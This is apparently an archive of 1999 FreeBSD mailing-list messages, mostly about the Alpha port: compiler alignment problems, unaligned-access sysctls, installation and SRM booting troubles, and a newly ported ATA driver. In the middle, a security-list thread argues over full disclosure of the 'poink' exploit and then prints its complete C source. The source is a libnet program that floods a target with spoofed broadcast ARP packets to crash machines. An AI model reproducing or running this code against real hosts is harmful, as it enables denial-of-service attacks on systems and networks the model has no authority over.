for Scrollbar.c without optimization and with -O, just so you can
see one that fails and one that doesn't.

It would be easy to just build the port without optimization, but
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> > >  > +#if 0
> > >  >  	*(union u_spcl *)(*(nextblock)++) = *(union u_spcl *)dp;
> 
> It might be better to remove the cast of nextblock and dp and see what
> warnings EGCS gives.  The ficl and vinum code had weird union casts that
> had to be reworked for egcs.  In the above, I bet there is an alignment
> issue wth EGCS using a different alightment rule than gcc did.

Specifically, I think it would work with a #pragma pack(4); I believe
the default structure packing on Alpha for EGCS is 8.

In general, when you are using a structure whose data is externalized,
and you want it to be portable, you should either serialize it (XDR
the data into a character buffor on the way in and out), or you should
use a #pragma pack(1).

There are a number of problems with this on the Alpha, since the Alpha
does not like unaligned data accesses.  Unfortuantely, a recent commit
put a fault handler in that does fixups on unaligned accesses, and the
damn this is defaulted to "on", which does a fat lot of good for getting
these problems *resolved* instead of *masked*.


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On Sat, 17 Apr 1999, Terry Lambert wrote:

> > > >  > +#if 0
> > > >  >  	*(union u_spcl *)(*(nextblock)++) = *(union u_spcl *)dp;
> > 
> > It might be better to remove the cast of nextblock and dp and see what
> > warnings EGCS gives.  The ficl and vinum code had weird union casts that
> > had to be reworked for egcs.  In the above, I bet there is an alignment
> > issue wth EGCS using a different alightment rule than gcc did.
> 
> Specifically, I think it would work with a #pragma pack(4); I believe
> the default structure packing on Alpha for EGCS is 8.
> 
> In general, when you are using a structure whose data is externalized,
> and you want it to be portable, you should either serialize it (XDR
> the data into a character buffor on the way in and out), or you should
> use a #pragma pack(1).
> 
> There are a number of problems with this on the Alpha, since the Alpha
> does not like unaligned data accesses.  Unfortuantely, a recent commit
> put a fault handler in that does fixups on unaligned accesses, and the
> damn this is defaulted to "on", which does a fat lot of good for getting
> these problems *resolved* instead of *masked*.

Terry, get your facts right.  FreeBSD/alpha has always had an unaligned
fault handler (which came from NetBSD verbatim).  The recent commit was a
sysctl variable to turn the fault handler *off*.

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Terry Lambert writes:

 > does not like unaligned data accesses.  Unfortuantely, a recent commit
 > put a fault handler in that does fixups on unaligned accesses, and the
 > damn this is defaulted to "on", which does a fat lot of good for getting
 > these problems *resolved* instead of *masked*.
 > 

Well, had you paid attention to said commit, you'd realize that the
default behaviour HAS NOT CHANGED.  What this commit has added is the
ability for the administrator to change this behaviour on a global
basis via a sysctl. (rather than stabbing at it w/ddb)

Really, the fixup/whine/bus-error choice should be made on a
per-process basis (as in Digital UNIX's uac command).  This allows you
to turn on silent fixups for broken closed-source programs you cannot
fix..

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>  > does not like unaligned data accesses.  Unfortuantely, a recent commit
>  > put a fault handler in that does fixups on unaligned accesses, and the
>  > damn this is defaulted to "on", which does a fat lot of good for getting
>  > these problems *resolved* instead of *masked*.
> 
> Well, had you paid attention to said commit, you'd realize that the
> default behaviour HAS NOT CHANGED.  What this commit has added is the
> ability for the administrator to change this behaviour on a global
> basis via a sysctl. (rather than stabbing at it w/ddb)
> 
> Really, the fixup/whine/bus-error choice should be made on a
> per-process basis (as in Digital UNIX's uac command).  This allows you
> to turn on silent fixups for broken closed-source programs you cannot
> fix..

I think you missed the subsequent discussion about the fact that it
was defaulting to zero, and the original author's intention to change
it to default to 1, since he though that what had been committed would
default to 1 automatically.

If your response is intended to indicate that this *won't* be defaulted
to 1, then I am very, very happy.


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> > Unfortuantely, a recent commit
> > put a fault handler in that does fixups on unaligned accesses, and the
> > damn this is defaulted to "on", which does a fat lot of good for getting
> > these problems *resolved* instead of *masked*.
> 
> Terry, get your facts right.  FreeBSD/alpha has always had an unaligned
> fault handler (which came from NetBSD verbatim).  The recent commit was a
> sysctl variable to turn the fault handler *off*.

Doug, the commit originally defaulted the vaule to "off", but was
"corrected" to default it to "on", which is never going to identify
the problems adequately.

FreeBSD has historically done things like defaulting TCP/IP extensions
to on, and unmapping page zero, even though this has caused broken code
to explode.

Then the broken code, including the firmware in Livingston Portmasters,
gets fixed, and the world is a better place for the default that is
correct, but results in exploding code.

I believe the original commit of this sysctl, which defaulted the value
to "off" to be *correct*, if inconvenient for people who would rather
dig a new pot-hole than spend time filling an old one in.


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Terry Lambert writes:
 > >  > does not like unaligned data accesses.  Unfortuantely, a recent commit
 > >  > put a fault handler in that does fixups on unaligned accesses, and the
 > >  > damn this is defaulted to "on", which does a fat lot of good for getting
 > >  > these problems *resolved* instead of *masked*.
 > > 
 > > Well, had you paid attention to said commit, you'd realize that the
 > > default behaviour HAS NOT CHANGED.  What this commit has added is the
 > > ability for the administrator to change this behaviour on a global
 > > basis via a sysctl. (rather than stabbing at it w/ddb)
 > > 
 > > Really, the fixup/whine/bus-error choice should be made on a
 > > per-process basis (as in Digital UNIX's uac command).  This allows you
 > > to turn on silent fixups for broken closed-source programs you cannot
 > > fix..
 > 
 > I think you missed the subsequent discussion about the fact that it
 > was defaulting to zero, and the original author's intention to change
 > it to default to 1, since he though that what had been committed would
 > default to 1 automatically.
 > 
 > If your response is intended to indicate that this *won't* be defaulted
 > to 1, then I am very, very happy.
 > 

Given that there are multiple sysctl's defining the behaviour, I'm not
sure what what you mean by zero and one, but I assume you mean you
want it to default to machdep.unaligned_sigbus=1?

Well, currently it defaults to:

machdep.unaligned_print: 1
machdep.unaligned_fix: 1
machdep.unaligned_sigbus: 0

This amounts to what I call 'whiny fixup', which is the behaviour
people have come to expect when running on this platform.  At least
this is what Digital UNIX, NetBSD and Linux default to.

All Hidetoshi Shimokawa's commit did was to give you the ability to
easily change this default via a sysctl. 

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At Sat, 17 Apr 1999 20:55:27 -0400 (EDT),
Andrew Gallatin <gallatin@cs.duke.edu> wrote:
> Given that there are multiple sysctl's defining the behaviour, I'm not
> sure what what you mean by zero and one, but I assume you mean you
> want it to default to machdep.unaligned_sigbus=1?
> 
> Well, currently it defaults to:
> 
> machdep.unaligned_print: 1
> machdep.unaligned_fix: 1
> machdep.unaligned_sigbus: 0
> 
> This amounts to what I call 'whiny fixup', which is the behaviour
> people have come to expect when running on this platform.  At least
> this is what Digital UNIX, NetBSD and Linux default to.
> 
> All Hidetoshi Shimokawa's commit did was to give you the ability to
> easily change this default via a sysctl. 
> 

Thank you for your explanation. This is exactly what I did.

In my local tree, I replaced uprintf's with printf's for printing
unaligned access so that they will be logged by syslogd.

I have also 'machdep.unaligned_sigbus=1' in my rc.local to prevent
too much warnnings.

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This has been hanging around in -questions for a few days without
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Greg

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> Hi guys,
> 	I am having a big problem that I have been working on for 2
> weeks.  I am sure there is an easy solution, I am just not as Unix smart
> as some of you.  I have an AlphaStation 200 that I am trying to install
> FreeBSD on with the alpha release on the 3.1 cdrom (i'm installing from
> cdrom).  I boot with the kern.flp and mfsboot.flp(?) and everything goes
> okay so far. The installation menu comes up and I choose the beginners
> installation and proceed.  Basically, in the whole installation process,
> I am never given an opportunity to choose how I want to boot from my hard
> drive.  Towards the end of the installation I get a message that says
> something like: kernel copied okay, but unable to save boot -c changes.
> (or something to that effect).  So, at this point the installation
> appears to be done, but for some reason I am taken back to the
> installation menu.  I then reboot and enter 'boot dka0' to boot from the
> hard drive.  Now, I had OpenBSD on this machine before FreeBSD, and when
> I now try to boot from my hard drive, it still tries to boot OpenBSD (but
> errors out).  Apparently, during the FreeBSD installation nothing was
> changed on the master boot record (i am guessing).  So anyways, I then
> boot with the fixit disk and take a look at the hard drive, and
> everything for FreeBSD appears to be there - as if it installed correctly.
> SOOO... my problem is: Why can't I boot into FreeBSD? What can I do to
> fix this?
> I'm sorry this email is so long, but this has been frustrating and I
> wanted to give you guys as much information as possible.  Thanks a bunch,
> and I really hope you guys can help me.
> PS. The whole installation process for me from cdrom didn't really fall in
> line with what the instructions say it should be.  THANKS GUYS
> I will be crossing my fingers :)
>
>        Philip Rust  |  rust@seas.smu.edu   \/_/
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From owner-freebsd-alpha  Sun Apr 18  7:46:44 1999
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> > as some of you.  I have an AlphaStation 200 that I am trying to install
> > FreeBSD on with the alpha release on the 3.1 cdrom (i'm installing from
The FreeBSD alpha port on the 3.1 cdroms are somewhat outdated and weren't
entirely working. The alphastation 200 installs fine if you are using the
latest release but you will need to install that via ftp.

-Don



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System is alpha 200 4/233

I am currently trying to get out of ARC to the SRM. I have the latest
firmware, renamed it to fwupdate.exe, copied it to a floppy, but when I go
into "Installl New Firmware" on my system, it won't install it off the
floppy, the error I get is: 

"Error bad device name/number or partition number , press any key to
contuinue"

I am not sure what  am doing wrong here......


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> I am currently trying to get out of ARC to the SRM. I have the latest
> firmware, renamed it to fwupdate.exe, copied it to a floppy, but when I go
> into "Installl New Firmware" on my system, it won't install it off the
> floppy, the error I get is: 

Is this a DOS floppy?

- Jordan


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OK, well I got this thig to boot, and got to sysinstall, but now it seems
there is a modem on the wrong port or something. This alpha (200 4/233) has
the 2 serial ports on it built in, and I want to use the internal modem I
have. It is jumpered, I just need to know what com/irq to use for it,
baring that, how can I disable an onboard com port so I can use it for the
modem....

Thanks,

Bill


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On Sun, 18 Apr 1999, William wrote:

> OK, well I got this thig to boot, and got to sysinstall, but now it seems
> there is a modem on the wrong port or something. This alpha (200 4/233) has
> the 2 serial ports on it built in, and I want to use the internal modem I
> have. It is jumpered, I just need to know what com/irq to use for it,
> baring that, how can I disable an onboard com port so I can use it for the
> modem....

Exactly what happens when you boot with the internal modem? What jumpers
are available? If it is possible to map it to an unused irq and port range
just edit the kernel config file to match sio2 against whatever address
you jumpered the modem.

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On Sun, Apr 18, 1999 at 06:59:10PM +0100, Doug Rabson wrote:
> On Sun, 18 Apr 1999, William wrote:
> 
> > OK, well I got this thig to boot, and got to sysinstall, but now it seems
> > there is a modem on the wrong port or something. This alpha (200 4/233) has
> > the 2 serial ports on it built in, and I want to use the internal modem I
> > have. It is jumpered, I just need to know what com/irq to use for it,
> > baring that, how can I disable an onboard com port so I can use it for the
> > modem....
> 
> Exactly what happens when you boot with the internal modem? What jumpers
> are available? If it is possible to map it to an unused irq and port range
> just edit the kernel config file to match sio2 against whatever address
> you jumpered the modem.

I don't think that's going to work.  At the very least, you need to use
isacfg to tell the firmware where it is.  Unfortunately, the AS200 isacfg
is *extremely* buggy -- an interesting experiment is to look at the isacfg
output for the WSS card, then pull the WSS, delete it with isacfg, then put
it back in and try to re-add it -- there's no way to do so, because isacfg
can't create its second drq entry!

Generally, isacfg's Evil will prevent you from using many cards on the AS200.

Thor


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I'm currently trying to setup FreeBSD 3.1 on my Multia.  I updated the
firmware to the latest version and downloaded the two boot floppies. 
Everything seems to go well (despite a number of buffer underrun/overrun
errors, but those seem to be recovered nicely) until sysinstall tries to
write the partition table to the hard drive at which time it tells me
that it couldn't turn on swap on the swap partition and that it cannot
write the partition table/mount the root device.  Maybe I'm just doing
something wrong, but has anyone else encountered this, and if so how was
it resolved?

I'll be taking it apart later on to see if there's anything that can be
changed on the hard drive that might help (jumper-wise)...

Please write back to me directly as I'm not currently subscribed to this
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-Dan

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I have ported the new ATA driver to the FreeBSD/alpha. This provides
support for IDE disks and cdroms. The version of the driver in the tree 
has only been tested on one old 433au machine so your mileage may vary
:-). For the adventurous, add these lines to your kernel config:

controller	ata0
device		atadisk0	# ATA disk drives
device		atapicd0	# ATAPI CDROM drives
device		atapifd0	# ATAPI floppy drives
device		atapist0	# ATAPI tape drives

--
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> I have ported the new ATA driver to the FreeBSD/alpha. This provides
> support for IDE disks and cdroms. The version of the driver in the tree 

Yes!  I think you've just made a number of Alpha people very happy, Doug. :)

- Jordan


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On Sun, 18 Apr 1999, Dan Dockery wrote:

> I'm currently trying to setup FreeBSD 3.1 on my Multia.  I updated the
> firmware to the latest version and downloaded the two boot floppies. 
> Everything seems to go well (despite a number of buffer underrun/overrun
> errors, but those seem to be recovered nicely) until sysinstall tries to
> write the partition table to the hard drive at which time it tells me
> that it couldn't turn on swap on the swap partition and that it cannot
> write the partition table/mount the root device.  Maybe I'm just doing
> something wrong, but has anyone else encountered this, and if so how was
> it resolved?
> 
> I'll be taking it apart later on to see if there's anything that can be
> changed on the hard drive that might help (jumper-wise)...
> 
> Please write back to me directly as I'm not currently subscribed to this
> mailing list.

The install program for 3.1 on the alpha is seriously broken. You would
problably do better to download more recent floppy images from
ftp.freebsd.org and try to install with them.

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On 19-Apr-99 Doug Rabson wrote:
> I have ported the new ATA driver to the FreeBSD/alpha. This provides
> support for IDE disks and cdroms. The version of the driver in the tree 
> has only been tested on one old 433au machine so your mileage may vary
>:-). For the adventurous, add these lines to your kernel config:
> 
Hooray!
Just one question, though...
Will this driver support the Cypress CY82C693 controller on the AlphaPC
164SX boards?
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On 19-Apr-99 Jordan K. Hubbard wrote:
>> I have ported the new ATA driver to the FreeBSD/alpha. This provides
>> support for IDE disks and cdroms. The version of the driver in the tree 
> 
> Yes!  I think you've just made a number of Alpha people very happy, Doug. :)
> 
If someone can provide me with a bootable floppy image with the new kernel,
I can test it on the AlphaPC164SX.

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From owner-freebsd-alpha  Mon Apr 19  4:17:17 1999
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Hey, I fineally got an ftp install working, but I have a question before I
get too far into this. Once the ftp install is finished, how do I set this
system up to boot from the SCSI disk?

This is an Alpha 200 4/233 with 1 4gig SCSI.

Thanks,

William




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On 19.04.99, 10:13:47 Doug Rabson wrote:

Hi Doug,

> The install program for 3.1 on the alpha is seriously broken. You would
> problably do better to download more recent floppy images from
> ftp.freebsd.org and try to install with them.

Does this only apply to the disks or is it better to migrate my two Multia
and one XL to 4.0.

Is 4.0 more stable, one of the Multias runs as a Web server so it should be
quiet stable.


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erik@habatech.no writes:
 > 
 > On 19-Apr-99 Doug Rabson wrote:
 > > I have ported the new ATA driver to the FreeBSD/alpha. This provides
 > > support for IDE disks and cdroms. The version of the driver in the tree 
 > > has only been tested on one old 433au machine so your mileage may vary
 > >:-). For the adventurous, add these lines to your kernel config:
 > > 
 > Hooray!
 > Just one question, though...
 > Will this driver support the Cypress CY82C693 controller on the AlphaPC
 > 164SX boards?

Before the official integration, Doug & I had gotten the Cypress IDE
controller working on my (newer) PWS500aus & xp1000s.  For the next
week or so I'm keeping my local tree frozen at pre-newbus, so I have
no way to verify that it actually works.  But from a quick look at
ata-all.c v1.8 I think the important changes are there & that it
should work...

Hope this helps,

Drew









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>The install program for 3.1 on the alpha is seriously broken. You would
>problably do better to download more recent floppy images from
>ftp.freebsd.org and try to install with them.

Ah ha.  I get it.  I actually did download them yesterday, but I bet I
should be downloading them from snapshots rather than from releases. 
It would be helpful if someone would update the readme.txt from the
releases to suggest that the boot floppy is badly broken.
Thanks for the tip.  I'll try the newer floppies tonight.

-Dan



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OK, last night the FTP install of 3.1 snapshot it all went very nicely,
long but went ok), I was asked to remove the floppy and reboot. OK, I
remove floppy and reboot. Now I am looking at the SRM console prompt ">>>".
How do I get this thing to boot off the internal SCSI where I installed??

Thanks,

William


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On Mon, Apr 19, 1999 at 07:54:39AM -0700, William wrote:
> How do I get this thing to boot off the internal SCSI where I installed??

Try: boot -fl a dka0
(or dka100, dka200... if your internal scsi disk is id 1, 2...)

	--Thomas


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> OK, last night the FTP install of 3.1 snapshot it all went very nicely,
> long but went ok), I was asked to remove the floppy and reboot. OK, I
> remove floppy and reboot. Now I am looking at the SRM console prompt ">>>".
> How do I get this thing to boot off the internal SCSI where I installed??
Try executing show devices at the srm prompt and it will give you a list
of disks and things. Boot with the disk returned by this command (usually
dka100 etc). Also look into set boot-device and set auto-boot and other
commands like that. Execute show boot* and show auto* these should give
you more information about the system you are on. And for more (possibly
more accurate) information check ou the various linux alpha sites as well
as the digital and netbsd web site which have a wealth of information on
various alphas and how to install on them.

-Don



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> From: Harold Gutch <logix@foobar.franken.de>
> To: Chris <freebsd@hiway1.exit109.com>; The Tech-Admin Dude
<geniusj@phoenix.unacom.com>
> Cc: security@FreeBSD.ORG
> Subject: Re: poink and freebsd
> Date: Monday, April 19, 1999 10:54 AM
> 

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On Mon, Apr 19, 1999 at 01:10:08PM -0400, Chris wrote:
> jd-
>=20
> id rather not post the source to the list, since this is how exploits =
get
> distributed, and bad things occur.  i sent email to the =
security-officer,
> and a few people to test it out with their setup.. id rather not
> distribute it any further... i hope you understand my reasoning behind =
it
> :/
>=20
> > On Mon, 19 Apr 1999, Robert Watson wrote:
> >=20
> > > On Mon, 19 Apr 1999, Chris wrote:
> > >=20
> > > > im sure ya'll have heard of poink, an exploit against =
freebsd/openbsd
> > > > machines (these are the boxes i have tested on) it appears to =
work very
> > > > efficiently in killing freebsd 3.1 - freebsd 3.0 machines, =
against one of
> > > > our freebsd 2.2.5 machines, it did bring up the error messages =
in
> > > > /var/log/messages (arp lookups) but didnt kill the machine like =
the
> > > > others...
> > > >=20
> > > > im just wondering if there are any patches for this, and i =
noticed there
> > > > is no mention of it on freebsd's website....
> > >=20
> > > Interestingly, I haven't heard about this one, and it doesn't =
appear to be
> > > on rootshell, etc.

Chris,

the fact that _you_ as somebody outside of the circles close to
the original author (which I simply assume) already have it,
shows that it already is public. Posting it to this list will
distribute it to more people, some of which might use it
maliciosly, others though might fix it faster than it would be
fixed otherwise.
Keeping it secret doesn't help anything, this is similar to
proprietary programs/protocols, which in many cases are inferior
to open source or open protocols. You should get some information
about "full disclosure" and read it.

Anyway, I was able to find the source for poink after searching
for 5 minutes. As I don't have libnet installed (and I don't plan
to install it just to compile poink), I am not able to say
anything about what it does - perhaps somebody else can do so.

bye,
  Harold

--=20
<Shabby> Sleep is an abstinence syndrome wich occurs due to lack of =
caffein.
Wed Mar  4 04:53:33 CET 1998   #unix, ircnet

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/*
 *  $Id$
 *
 *  poink.c - NT/9x DOS attack
 *
 *  Code:
 *  Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>
 *                         route|daemon9 <route@infonexus.com>
 *  All rights reserved.
 *
 *  Original Idea:
 *  Joel Jacobson (joel@mobila.cx)
 *
 *  This simple exploit was written as per the specification from Joel
 *  Jacobson's bugtraq post =
(http://geek-girl.com/bugtraq/1999_1/1299.html).
 *
 *  Needs libnet 0.99.
 *  Currently:  http://lazy.accessus.net/~route/libnet
 *  Soon:       http://www.packetfactory.net/
 *
 *  gcc poink.c -o poink -lnet
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in =
the
 *    documentation and/or other materials provided with the =
distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' =
AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR =
PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE =
LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR =
CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE =
GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, =
STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY =
WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY =
OF
 * SUCH DAMAGE.
 *
 */

#include <libnet.h>

u_char enet_src[6] =3D {0x00, 0x0d, 0x0e, 0x0a, 0x0d, 0x00};
u_char enet_dst[6] =3D {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};

int send_arp(struct link_int *, u_long, u_char *);
void usage(u_char *);

int
main(int argc, char *argv[])
{
    int c, amount;
    char errbuf[256];
    char *device =3D NULL;
    struct link_int *l;
    u_long ip;

    amount =3D 20;
    while ((c =3D getopt(argc, argv, "n:i:")) !=3D EOF)
    {
        switch (c)
        {
            case 'i':
                device =3D optarg;
                break;
            case 'n':
                amount =3D atoi(optarg);
                break;
            default:
                exit(EXIT_FAILURE);
        }
    }

    if (!device)
    {
        usage(argv[0]);
        exit(EXIT_FAILURE);
    }

    if (argc <=3D optind)
    {
        usage(argv[0]);
        exit(EXIT_FAILURE);
    }
    else if ((ip =3D libnet_name_resolve(argv[optind], 1)) =3D=3D -1)
    {
        fprintf(stderr, "Cannot resolve IP address\n");
        exit(EXIT_FAILURE);
    }

    l =3D libnet_open_link_interface(device, errbuf);
    if (!l)
    {
        fprintf(stderr, "libnet_open_link_interface: %s\n", errbuf);
        exit(EXIT_FAILURE);
    }

    while (amount--)
    {
        c =3D send_arp(l, ip, device);
        if (c =3D=3D -1)
        {
            /* bail on the first error */
            break;
        }
    }
    printf("\n");
    return (c =3D=3D -1 ? EXIT_FAILURE : EXIT_SUCCESS);
}


int
send_arp(struct link_int *l, u_long ip, u_char *device)
{
    int n;
    u_char *buf;

    if (libnet_init_packet(ARP_H + ETH_H, &buf) =3D=3D -1)
    {
        perror("libnet_init_packet memory:");
        exit(EXIT_FAILURE);
    }

    /*
     *  Ethernet header
     */
    libnet_build_ethernet(enet_dst, enet_src, ETHERTYPE_ARP, NULL, 0, =
buf);

    /*
     *  ARP header
     */
    libnet_build_arp(ARPHRD_ETHER,
        ETHERTYPE_IP,
        6,
        4,
        ARPOP_REQUEST,
        enet_src,
        (u_char *)&ip,
        enet_dst,
        (u_char *)&ip,
        NULL,
        0,
        buf + ETH_H);

    n =3D libnet_write_link_layer(l, device, buf, ARP_H + ETH_H);

    fprintf(stderr, ".");

    libnet_destroy_packet(&buf);
    return (n);
}


void
usage(u_char *name)
{
    fprintf(stderr, "%s -i interface [-n amount] ip\n", name);
}

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Hi again, wondering if there has been any advance in the makeing of the
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have some effect on them! :)

I bought a 9.1gig disk that is waiting for freebsd to get installed on
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I hope that the loader will see the light of day soon..

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Good Day.

My company recently purchased a new Alpha system with a Samsung MB164UX
motherboard.  I am currently trying to install FreeBSD and having a heck
of time with it.  I have dug through the archives at Freebsd.org with no
avail.  I have two questions:
1) Is this board reffered to as the "Ruffian" motherboard ?
2) How do I get FreeBSD on this system ?

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Alex writes:
 > Good Day.
 > 
 > My company recently purchased a new Alpha system with a Samsung MB164UX
 > motherboard.  I am currently trying to install FreeBSD and having a heck
 > of time with it.  I have dug through the archives at Freebsd.org with no
 > avail.  I have two questions:
 > 1) Is this board reffered to as the "Ruffian" motherboard ?
 > 2) How do I get FreeBSD on this system ?

You have a motherboard wich does not support the SRM console, only the
AlphaBios.  Currently, FreeBSD only boots from the SRM console.  There
were people working on booting FreeBSD from the AlphaBios, but I
believe the project is stalled, possibly due to a lack of
documentation.

Sorry..

Drew

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On Thursday, 15 April 1999 at 18:44:58 -0500, Philip Rust wrote:
> Hi guys,
> 	I am having a big problem that I have been working on for 2
> weeks.  I am sure there is an easy solution, I am just not as Unix smart
> as some of you.  I have an AlphaStation 200 that I am trying to install
> FreeBSD on with the alpha release on the 3.1 cdrom (i'm installing from
> cdrom).  I boot with the kern.flp and mfsboot.flp(?) and everything goes
> okay so far. The installation menu comes up and I choose the beginners
> installation and proceed.  Basically, in the whole installation process,
> I am never given an opportunity to choose how I want to boot from my hard
> drive.  Towards the end of the installation I get a message that says
> something like: kernel copied okay, but unable to save boot -c changes.
> (or something to that effect).  So, at this point the installation
> appears to be done, but for some reason I am taken back to the
> installation menu.  I then reboot and enter 'boot dka0' to boot from the
> hard drive.  Now, I had OpenBSD on this machine before FreeBSD, and when
> I now try to boot from my hard drive, it still tries to boot OpenBSD (but
> errors out).  Apparently, during the FreeBSD installation nothing was
> changed on the master boot record (i am guessing).  So anyways, I then
> boot with the fixit disk and take a look at the hard drive, and
> everything for FreeBSD appears to be there - as if it installed correctly.
> SOOO... my problem is: Why can't I boot into FreeBSD? What can I do to
> fix this?
> I'm sorry this email is so long, but this has been frustrating and I
> wanted to give you guys as much information as possible.  Thanks a bunch,
> and I really hope you guys can help me.
> PS. The whole installation process for me from cdrom didn't really fall in
> line with what the instructions say it should be.  THANKS GUYS
> I will be crossing my fingers :)

Well, you'd probably get more responses if you put the word "alpha" in
your subject line.

I wasn't sure what to do with this one, so I forwarded it to the
FreeBSD-alpha list, asking if it were appropriate material for the
list.  Nobody said it wasn't, and some answered, so I suppose that
means "if you have problems with an Alpha, send your message to
FreeBSD-alpha".  Here are some of the replies:

On Sunday, 18 April 1999 at 10:43:46 -0400, Don wrote:
>>> as some of you.  I have an AlphaStation 200 that I am trying to install
>>> FreeBSD on with the alpha release on the 3.1 cdrom (i'm installing from
>
> The FreeBSD alpha port on the 3.1 cdroms are somewhat outdated and weren't
> entirely working. The alphastation 200 installs fine if you are using the
> latest release but you will need to install that via ftp.

On Sunday, 18 April 1999 at  8:21:10 -0700, Jordan K. Hubbard wrote:
>> I am currently trying to get out of ARC to the SRM. I have the latest
>> firmware, renamed it to fwupdate.exe, copied it to a floppy, but when I go
>> into "Installl New Firmware" on my system, it won't install it off the
>> floppy, the error I get is:
>
> Is this a DOS floppy?

Greg
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On Mon, 19 Apr 1999 erik@habatech.no wrote:

> 
> On 19-Apr-99 Doug Rabson wrote:
> > I have ported the new ATA driver to the FreeBSD/alpha. This provides
> > support for IDE disks and cdroms. The version of the driver in the tree 
> > has only been tested on one old 433au machine so your mileage may vary
> >:-). For the adventurous, add these lines to your kernel config:
> > 
> Hooray!
> Just one question, though...
> Will this driver support the Cypress CY82C693 controller on the AlphaPC
> 164SX boards?

I think so.

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From owner-freebsd-alpha  Tue Apr 20  2:37:41 1999
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On Mon, 19 Apr 1999, Kai Schmidt wrote:

> On 19.04.99, 10:13:47 Doug Rabson wrote:
> 
> Hi Doug,
> 
> > The install program for 3.1 on the alpha is seriously broken. You would
> > problably do better to download more recent floppy images from
> > ftp.freebsd.org and try to install with them.
> 
> Does this only apply to the disks or is it better to migrate my two Multia
> and one XL to 4.0.
> 
> Is 4.0 more stable, one of the Multias runs as a Web server so it should be
> quiet stable.

It just applies to the install disks. 3.1-STABLE should work well for
your purposes.

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On Mon, 19 Apr 1999, William wrote:

> OK, last night the FTP install of 3.1 snapshot it all went very nicely,
> long but went ok), I was asked to remove the floppy and reboot. OK, I
> remove floppy and reboot. Now I am looking at the SRM console prompt ">>>".
> How do I get this thing to boot off the internal SCSI where I installed??

Probably something like 'boot dka0' or 'boot dkc0'.  Type 'show config' to
get a list of devices.

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On Mon, 19 Apr 1999, Joonas Tizihssane wrote:

> Hi again, wondering if there has been any advance in the makeing of the
> loader for the Ruffian board(s), if no, and the problem is getting info
> from samsung, count on it that i will mail them and nag (hope it will
> have some effect on them! :)
> 
> I bought a 9.1gig disk that is waiting for freebsd to get installed on
> it :)
> 
> I hope that the loader will see the light of day soon..
> 
> /Joonas...
> ps. Thanx in advance and thanx for the great work that is put to the
> freebsd-alpha project! .ds

Getting documentation was the thing which stopped this project. It seems
that the firmware on these board only has a partial similarity with
AlphaBIOS (which is fairly well documented now). Stefan Esser was working
on this.

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Hi guys,

I'm very sorry but I cannot get these boards, the place I was ordering mine
from told me that they are not getting any more. As a matter of fact, they
didnt have my pc164lx in stock. Im sorry if I have gotten anyones hopes up
:( 

Now, I'm stuck without any board or chip for my alpha
system.................

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>  > 1) Is this board reffered to as the "Ruffian" motherboard ?
>  > 2) How do I get FreeBSD on this system ?
> 
> You have a motherboard wich does not support the SRM console, only the
> AlphaBios.  Currently, FreeBSD only boots from the SRM console.  There
> were people working on booting FreeBSD from the AlphaBios, but I
> believe the project is stalled, possibly due to a lack of
> documentation.

That's very unfortunate, I was hoping that our company could have moved
all of our FreeBSD systems to Alpha processors.

Is there anyone I can talk to regarding this matter?  I might be able to
assist them in some small way.  I would really like to see FreeBSD on this
system.

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Hello,

I'm trying to install 3.1-19990326 on my Dec Workstation 200  4/166.
Everything seems to be working fine. I go through the whole installation
process, but at the end of extracting the bin code to the / directory, I
get the following error.

panic: ffs_valloc: dup alloc
panic
Stopped at   Debugger..Ng+0x24:   ldq    ra.0(sp)

and then it takes me to the db>

I also noticed that if I go through a reinstall, it seems to have a
problem creating the partitions on the harddrive since it does not show
the partitions during the reinstall.
I hope this makes sense and can anybody please help me.
TIA

Alain



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Andrew Gallatin <gallatin@cs.duke.edu> wrote:

> Alex writes:
>  > My company recently purchased a new Alpha system with a Samsung MB164UX
>  > motherboard.
>  > 1) Is this board reffered to as the "Ruffian" motherboard ?

Yes.

> You have a motherboard wich does not support the SRM console, only the
> AlphaBios.

Actually, it's ARCSBIOS rather than AlphaBIOS. I'm not sure whether this
ARCSBIOS is the same as the "ARC console" the mips people talk about.

The most vexing part about the UX not being supported is that compared
to the LX it is a much better board. You can get it with 4MB third-level
cache, and it has six PCI slots plus on-board SCSI and ethernet.

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Doug Rabson <dfr@nlsystems.com> wrote:

> Getting documentation was the thing which stopped this project. It seems
> that the firmware on these board only has a partial similarity with
> AlphaBIOS (which is fairly well documented now). Stefan Esser was working
> on this.

Okay, now that somebody else has brought it up:

Just what needs to be done, to get FreeBSD going on a Ruffian? At what
point has progress stalled? If I wanted to work on this, where should I
jump in, whom should I talk to?

I don't recall ever seeing anything by Stefan Esser on this. (Is that
the same Stefan Esser who owns the NCR driver?)

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From owner-freebsd-alpha  Tue Apr 20 14:16:10 1999
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On 20 Apr 1999, Christian Weisgerber wrote:

> Doug Rabson <dfr@nlsystems.com> wrote:
> 
> > Getting documentation was the thing which stopped this project. It seems
> > that the firmware on these board only has a partial similarity with
> > AlphaBIOS (which is fairly well documented now). Stefan Esser was working
> > on this.
> 
> Okay, now that somebody else has brought it up:
> 
> Just what needs to be done, to get FreeBSD going on a Ruffian? At what
> point has progress stalled? If I wanted to work on this, where should I
> jump in, whom should I talk to?
> 
> I don't recall ever seeing anything by Stefan Esser on this. (Is that
